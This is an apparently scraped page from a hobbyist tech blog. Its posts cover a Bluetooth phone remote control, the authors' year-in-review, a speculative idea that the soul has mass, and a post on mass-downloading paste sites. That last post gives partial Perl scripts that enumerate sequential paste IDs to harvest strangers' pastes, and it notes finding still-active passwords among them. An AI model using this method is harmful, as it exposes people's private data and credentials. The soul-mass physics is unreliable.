Mobile Remote Control

How about controlling your pc with your mobile phone?
Imagine this:
You are sitting on the sofa with your friends watching a movie on your laptop and you need to make your speakers louder. What do you do? But, of course, you reach your laptop and you press the appropriate button.
How about not leaving your cozy sofa and pressing a single button on your mobile to do this?
We've tried this and we show you how to do it.
You will need:
1)A pc with an external or internal bluetooth device.
2)A mobile phone that has the program Remote Control (we used Sony Ericsson Jalou but most of sony ericsson mobiles have this application)
3)This article :)

->Enable your pc bluetooth
->Make it discoverable
Right click on the bluetooth tray icon (right down on the taskbar), select Settings and click discovery.
->Take your mobile phone and find Remote Control (for our case it was in Entertainment)
->Choose the option you like (For the movie choose the media player)
->Select device (your pc daa :)
-> You should be able to see on your mobile screen the appropriate buttons.
->That was all.

From the author

Hey to you all! It was a wonderful year (September 2009-August 2010) ! We are glad that Vaslabs have such members as you! During this year we tried to focus on simple tutorials for computer beginners, but also to make sure that advanced users and young programmers wouldn't be indifferent as well.
With your support and feedback we have created some utilities and gadgets that make our life better.
We'll start from the simplest. DBHC was loved by new ones in assembly as it offers decimal, binary and hexadecimal converting. This year a new version of DBHC will be published. It will offer also and text converting. Then the final version of File Engineer. We are sad to announce that this is indeed the final version of it as the project has been closed from us.
Our christmas game, that we know has a few bugs, will be fixed, and a new completed version will be ready by next Christmas.
Our superpower Password Maker it is a high priority as well. New security fixes will be added so your password will be invincible. We shall make clear that this script is also available for windows users if Perl is installed.
Spastra Demo was announced in May 2010 and will be ready in January-February 2011.
And then a great utility was published by vaslabs.
Vaslook was immediately been published, had a lot of bugs, but with your feedback has been a very stable and reliable tool for your yahoo e-mail. It is the only program until now that been awarded with two awards! The softpedia free award and the Famous Why award.
What to expect from vaslabs this year?
We are growing really fast, so you can expect more articles and utilities.
Our team is growing us well so will expand our subjects and our programs. We have also entered Linux world so Linux users should expect something from us!
You can join us on facebook or to be a follower. Followers have full and free support for everything they want about computers.
Thank you all for your support

The Lost Symbol: Soul's mass!

Dan Brown in his book "The Lost Symbol" describes that soul has mass. The scientist who undertook this experiment in the book measured the mass of a terminally diseased volunteer before and at the exact moment of his death. She found out that he was lighter by an extremely little amount of milligrams after he died so she concluded that soul has a mass.

Another idea could be the scenario below:

In Newtonian physics, when an object is moving with a certain speed, its mass remains constant, or the difference in mass is negligible.

However, according to Einstein, as the speed of an object increases, so does it's mass. Consequently, when the object reaches speed of light it's mass equals to infinite.

When a person is alive, his body consists of 'objects' that are in motion: blood cells, nerve impulses, the heart etc.
But when he dies most of these 'objects' stop moving.
Maybe that is why there is such a difference in mass before and at the very moment of death!

This is a simple idea and may not correspond to reality.

People's Garbage! They paste it you get it!

There are some sites like and that offer an easy way to show your friends any text you like by pasting and getting a link with a random string. For example if you paste something in you get this link or for downloading the text. In you get something like this: . But are these strings really random? In these sites they are more like a number that is increasing by the paste. So we could be able to retrieve all peoples pastes and see what we can get.
Vaslabs found out that there are personal stories, accounts with passwords still active, megaupload links (many still active) and more!
So to get this we should write a script that downloads the text for every single link and saves it in a file. Vaslabs used perl for their script, and the target was because it needs less time. However we will show you both ways:

#this is a comment
#perl program for downloading text files
#and save their content in a single large file
#script for heypasteit
use LWP::UserAgent; #loadlib User Agent
$ua=new LWP::UserAgent; #create a new user agent object
$ua->agent("Mozilla/8.0"); #define mozilla as user agent
$ua=LWP::UserAgent->new; #define the mozilla user agent
$InitialUrl=''; #heypasteit url in variable $Initial Url
open FILE, ">Research.txt" or die $!; #open file

for ($i=65;$i<=90;$i++)#ascii 65=A ascii 90=z { for ($j=65;$j<=90;$j++) { for ($k=65;$k<=90;$k++) { $URL=$InitialUrl.chr($i).chr($j).chr($k); #complete url print " * Trying ".$URL."\n"; my $req=HTTP::Request->new(GET=>$URL); #download file and save it with HTTP::Request
print FILE $con; #save the content of the file
#put a line for recognition
print FILE "/n============================================/n";
sleep(.2); #wait for 200 milliseconds(This depends on your Internet speed)
close FILE;


#for the difference is on the link and on for stations
use LWP::UserAgent;
$ua=new LWP::UserAgent;
open FILE, ">Research2.txt" or die $!;
for ($i=2;$i<=9;$i++) { for ($z=0;$z<=9;$z++) { for ($j=0;$j<=9;$j++) { for ($k=0;$k<=9;$k++) { $URL=$InitialUrl."$i"."$z"."$j"."$k"; print " * Try ".$URL."\n"; my $req=HTTP::Request->new(GET=>$URL);
print FILE $con;
print FILE "/n============================================/n";
close FILE;
